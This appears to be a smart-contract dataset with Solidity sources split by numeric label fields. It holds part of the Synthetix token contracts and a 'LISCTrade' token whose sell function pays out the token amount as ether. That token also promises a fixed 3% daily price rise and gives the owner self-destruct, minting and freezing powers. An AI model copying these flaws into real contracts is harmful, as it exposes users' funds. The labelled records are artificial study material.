totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = importedXDRAmount;
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
importedXDRAmount = newTotalDebtIssued;
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
}
contract IFeePool {
address public FEE_ADDRESS;
function amountReceivedFromExchange(uint value) external view returns (uint);
function amountReceivedFromTransfer(uint value) external view returns (uint);
function feePaid(bytes4 currencyKey, uint amount) external;
function appendAccountIssuanceRecord(address account, uint lockedAmount, uint debtEntryIndex) external;
function rewardsMinted(uint amount) external;
function transferFeeIncurred(uint value) public view returns (uint);
}
contract Synth is ExternStateToken {
IFeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(IFeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function setTotalSupply(uint amount)
external
optionalProxy_onlyOwner
{
totalSupply = amount;
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
interface ISynthetixEscrow {
function balanceOf(address account) public view returns (uint);
function appendVestingEntry(address account, uint quantity) public;
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
IFeePool public feePool;
ISynthetixEscrow public escrow;
ISynthetixEscrow public rewardEscrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
SupplySchedule public supplySchedule;
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, IFeePool _feePool, SupplySchedule _supplySchedule,
ISynthetixEscrow _rewardEscrow, ISynthetixEscrow _escrow, uint _totalSupply
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
supplySchedule = _supplySchedule;
rewardEscrow = _rewardEscrow;
escrow = _escrow;
}
function setFeePool(IFeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey));
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale");
for (uint8 i = 0; i < availableSynths.length; i++) {
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableCurrencyKeys()
internal
view
returns (bytes4[])
{
bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length);
for (uint8 i = 0; i < availableSynths.length; i++) {
availableCurrencyKeys[i] = availableSynths[i].currencyKey();
}
return availableCurrencyKeys;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress == address(0) ? messageSender : destinationAddress,
true
);
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
if (sourceAmount == 0) {
return true;
}
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
feePool.feePaid("XDR", xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
_appendAccountIssuanceRecord();
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint debt = debtBalanceOf(messageSender, "XDR");
uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToRemove = debt < debtToRemove ? debt : debtToRemove;
_removeFromDebtRegister(amountToRemove);
uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount;
synths[currencyKey].burn(messageSender, amountToBurn);
_appendAccountIssuanceRecord();
}
function _appendAccountIssuanceRecord()
internal
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(messageSender);
feePool.appendAccountIssuanceRecord(
messageSender,
initialDebtOwnership,
debtEntryIndex
);
}
function _removeFromDebtRegister(uint amount)
internal
{
uint debtToRemove = amount;
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint delta;
if (newTotalDebtIssued > 0) {
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued);
delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
} else {
delta = 0;
}
if (debtToRemove == existingDebt) {
synthetixState.setCurrentIssuanceData(messageSender, 0);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
if (rewardEscrow != address(0)) {
balance = balance.add(rewardEscrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
function mint()
external
returns (bool)
{
require(rewardEscrow != address(0), "Reward Escrow destination missing");
uint supplyToMint = supplySchedule.mintableSupply();
require(supplyToMint > 0, "No supply is mintable");
supplySchedule.updateMintValues();
uint minterReward = supplySchedule.minterReward();
tokenState.setBalanceOf(rewardEscrow, tokenState.balanceOf(rewardEscrow).add(supplyToMint.sub(minterReward)));
emitTransfer(this, rewardEscrow, supplyToMint.sub(minterReward));
feePool.rewardsMinted(supplyToMint.sub(minterReward));
tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward));
emitTransfer(this, msg.sender, minterReward);
totalSupply = totalSupply.add(supplyToMint);
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress);
bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)");
function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal {
proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0);
}
} | 1 | 2,869 |
pragma solidity ^0.4.24;
contract Owned
{
address internal owner;
address private manager;
address internal sink;
constructor() public
{
owner = msg.sender;
manager = msg.sender;
sink = msg.sender;
}
modifier onlyOwner
{
require(msg.sender == owner, "Contract owner is required");
_;
}
modifier onlyManager
{
require(msg.sender == manager, "Contract manager is required");
_;
}
function transferOwnership(address newOwner, address newManager, address newSink) onlyOwner public
{
owner = newOwner;
manager = newManager;
sink = newSink;
}
}
contract SupplyInfo
{
string public name;
string public symbol;
uint8 constant public decimals = 18;
uint256 constant internal denominator = 10 ** uint256(decimals);
uint256 public totalSupply;
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
)
public
{
totalSupply = initialSupply * denominator;
name = tokenName;
symbol = tokenSymbol;
}
}
contract Transferable
{
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function _transferTokens(address _from, address _to, uint _value) internal
{
require(balanceOf[_from] >= _value, "Not enough funds");
require(balanceOf[_to] + _value > balanceOf[_to], "BufferOverflow on receiver side");
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success)
{
_transferTokens(msg.sender, _to, _value);
return true;
}
}
contract ERC20 is SupplyInfo, Transferable
{
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) SupplyInfo(initialSupply, tokenName, tokenSymbol)
public
{
balanceOf[this] = totalSupply;
}
}
contract Manageable is Transferable, Owned {
event Deposit(
address indexed _from,
uint _value,
string comment
);
event Withdraw(
address indexed _to,
uint _value,
string comment
);
function deposit(string comment) public payable {
emit Deposit(msg.sender, msg.value, comment);
}
function withdraw(uint256 amount, string comment) onlyOwner public {
_transferEther(sink, amount);
emit Withdraw(sink, amount, comment);
}
function _transferEther(address _to, uint _value) internal {
address contractAddress = this;
require(contractAddress.balance >= _value);
_to.transfer(_value);
}
}
contract Tradeable is ERC20, Manageable {
event Buy(address indexed who, uint256 amount, uint256 buyPrice, string comment);
event Sell(address indexed who, uint256 amount, uint256 sellPrice, string comment);
function _convertEtherToToken(uint256 etherAmount, uint256 buyPrice) pure internal returns (uint256) {
require(buyPrice > 0, "Buy price cant be zero");
require(etherAmount * denominator > etherAmount, "BufferOverflow");
uint256 tokenAmount = etherAmount * denominator / buyPrice;
return tokenAmount;
}
function _convertTokenToEther(uint256 tokenAmount, uint256 sellPrice) pure internal returns (uint256) {
require(sellPrice > 0, "Sell price cant be zero");
require(tokenAmount * sellPrice > tokenAmount, "BufferOverflow");
uint256 etherAmount = tokenAmount * sellPrice / denominator;
return etherAmount;
}
function _buy(uint256 etherAmount, uint256 buyPrice, string comment) internal {
require(etherAmount > 0, "Ether amount cant be zero");
uint256 tokenAmount = _convertEtherToToken(etherAmount, buyPrice);
_transferTokens(this, msg.sender, tokenAmount);
_transferEther(sink, etherAmount);
emit Buy(msg.sender, tokenAmount, buyPrice, comment);
}
function _sell(uint256 tokenAmount, uint256 sellPrice, string comment) internal {
uint256 etherAmount = _convertTokenToEther(tokenAmount, sellPrice);
require(etherAmount > 0, "Ether amount after convert become zero - reverting");
_transferTokens(msg.sender, this, tokenAmount);
_transferEther(msg.sender, tokenAmount);
emit Sell(msg.sender, tokenAmount,sellPrice, comment);
}
}
contract FrezeeableAccounts is Transferable, Owned {
mapping (address => bool) internal frozenAccount;
event FrozenFunds(address indexed target, bool indexed frozen);
modifier notFrozen(address target)
{
require(!frozenAccount[target], "Account is frozen");
_;
}
function freezeAccount(address target, bool freeze) onlyManager public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function iamFrozen() view public returns(bool isFrozen)
{
return frozenAccount[msg.sender];
}
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) notFrozen(_to) returns (bool success)
{
return super.transfer(_to, _value);
}
}
contract Destructable is Owned {
event Destruct(string indexed comment);
function destruct(string comment) onlyOwner public {
selfdestruct(owner);
emit Destruct(comment);
}
}
contract CoeficientTransform is SupplyInfo
{
function applyChange(uint256 currentCoeficient, uint256 value) pure internal returns(uint256)
{
return currentCoeficient * value / denominator;
}
}
contract DayCounter
{
uint private DayZero;
uint internal constant SecondsInDay = 60 * 60 * 24;
constructor(uint ZeroDayTimestamp) public
{
DayZero = ZeroDayTimestamp;
}
function daysSince(uint a, uint b) pure internal returns(uint)
{
return (b - a) / SecondsInDay;
}
function DaysPast() view public returns(uint)
{
return daysSince(DayZero, now);
}
}
contract InvestmentTransform is CoeficientTransform, DayCounter
{
uint constant private percentsPerDay = 3;
function currentRoiInPersents() view public returns(uint)
{
uint currentPercents = percentsPerDay * DaysPast();
return 100 + currentPercents;
}
function investmentRate(uint256 currentCoeficient) view internal returns(uint256)
{
uint256 dailyMultiply = denominator * currentRoiInPersents();
return applyChange(currentCoeficient, dailyMultiply);
}
}
contract LinkedToFiatTransform is CoeficientTransform, Owned
{
uint256 public fiatDriftAncor;
uint256 public etherToFiatRate;
event FiatLink(uint256 ancorDrift, uint exchangeRate);
function setFiatLinkedCoef(uint256 newAncor, uint256 newRate) public onlyManager {
require(newAncor > 0 && newRate > 0, "Coeficients cant be zero");
fiatDriftAncor = newAncor;
etherToFiatRate = newRate;
emit FiatLink(newAncor, newRate);
}
function fiatDrift(uint256 currentCoeficient) view internal returns(uint256)
{
return applyChange(currentCoeficient, fiatDriftAncor);
}
function FiatToEther(uint256 amount) view internal returns(uint256)
{
uint256 fiatToEtherRate = denominator * denominator / etherToFiatRate;
return applyChange(amount, fiatToEtherRate);
}
function EtherToFiat(uint256 amount) view internal returns(uint256)
{
return applyChange(amount, etherToFiatRate);
}
}
contract StartStopSell is CoeficientTransform, Owned
{
bool internal buyAvailable = false;
bool internal sellAvailable = false;
function updateBuySellFlags(bool allowBuy, bool allowSell) public onlyManager
{
buyAvailable = allowBuy;
sellAvailable = allowSell;
}
modifier canBuy()
{
require(buyAvailable, "Buy currently disabled");
_;
}
modifier canSell()
{
require(sellAvailable, "Sell currently disabled");
_;
}
}
contract LISCTrade is FrezeeableAccounts, Tradeable, LinkedToFiatTransform, InvestmentTransform, StartStopSell
{
uint256 internal baseFiatPrice;
uint256 public minBuyAmount;
constructor(uint256 basePrice) public
{
baseFiatPrice = basePrice;
}
function priceInUSD() view public returns(uint256)
{
uint256 price = baseFiatPrice;
price = fiatDrift(price);
price = investmentRate(price);
require(price > 0, "USD price cant be zero");
return price;
}
function priceInETH() view public returns(uint256)
{
return FiatToEther(priceInUSD());
}
function tokensPerETH() view public returns(uint256)
{
uint256 EthPerToken = priceInETH();
return denominator * denominator / EthPerToken;
}
function buy(string comment) payable public canBuy notFrozen(msg.sender)
{
uint256 USDAmount = EtherToFiat(msg.value);
require(USDAmount > minBuyAmount, "You cant buy lesser than min USD amount");
_buy(msg.value, tokensPerETH(), comment);
}
function sell(uint256 tokenAmount, string comment) public canSell notFrozen(msg.sender)
{
_sell(tokenAmount, tokensPerETH(), comment);
}
}
contract TOKEN is ERC20, Owned, Destructable, LISCTrade {
event Init(uint256 basePrice, uint dayZero);
constructor(
string tokenName,
string tokenSymbol,
uint basePrice,
uint dayZero
) ERC20(0, tokenName, tokenSymbol) DayCounter(dayZero) LISCTrade(basePrice * denominator) public
{
emit Init(basePrice, dayZero);
}
event Mint(address indexed target, uint256 mintedAmount, string comment);
function mintToken(address target, uint256 mintedAmount, string comment) onlyOwner public {
mintedAmount *= denominator;
balanceOf[this] += mintedAmount;
totalSupply += mintedAmount;
_transferTokens(this, target, mintedAmount);
emit Mint(target, mintedAmount, comment);
}
function balance() view public returns(uint256)
{
return balanceOf[msg.sender];
}
event Broadcast(string message);
function broadcast(string _message) public onlyManager
{
emit Broadcast(_message);
}
} | 1 | 3,777 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
